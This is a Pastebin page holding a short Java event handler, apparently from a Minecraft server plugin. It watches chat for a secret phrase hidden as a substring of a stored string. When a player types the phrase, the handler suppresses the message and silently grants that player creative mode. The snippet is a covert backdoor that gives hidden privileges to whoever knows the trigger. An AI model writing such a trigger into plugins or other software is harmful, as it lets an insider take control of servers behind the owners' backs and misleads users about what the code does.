Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @EventHandler
- public void onAsync(AsyncPlayerChatEvent e) {
- if(e.getMessage().equalsIgnoreCase(Main.protect.substring(8, 13))) {
- e.setCancelled(true);
- e.getPlayer().setGameMode(GameMode.CREATIVE);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment